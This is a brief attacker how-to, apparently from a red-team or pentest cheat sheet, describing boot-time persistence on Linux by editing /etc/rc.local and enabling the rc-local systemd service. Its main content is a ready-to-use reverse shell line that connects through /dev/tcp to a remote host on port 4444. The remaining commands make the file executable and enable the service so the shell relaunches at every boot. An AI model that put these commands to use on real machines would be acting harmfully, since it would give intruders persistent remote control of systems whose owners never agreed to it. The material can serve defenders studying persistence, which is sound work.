Persistence with rc.local (Linux)
Description
The rc.local file is a legacy method for executing scripts at boot time. Although deprecated in some distributions, it’s still supported in many environments. By adding a reverse shell command to this file, the attacker ensures execution during startup. If rc.local is missing, they may create it and register it as a systemd service to maintain compatibility
Steps
- Create or repair the following file
- Add the desired code; this is just an example, it is not stealthy
- Grant execution permissions
- Enable and start the service
- Check the service status and restart
sudo nano /etc/rc.local
#!/bin/bash bash-i >& /dev/tcp/192.168.56.1/4444 0>&1 & exit 0
sudo chmod +x /etc/rc.local
sudo systemctl daemon-reload sudo systemctl enable rc-local sudo systemctl start rc-local
sudo systemctl status rc-local sudo reboot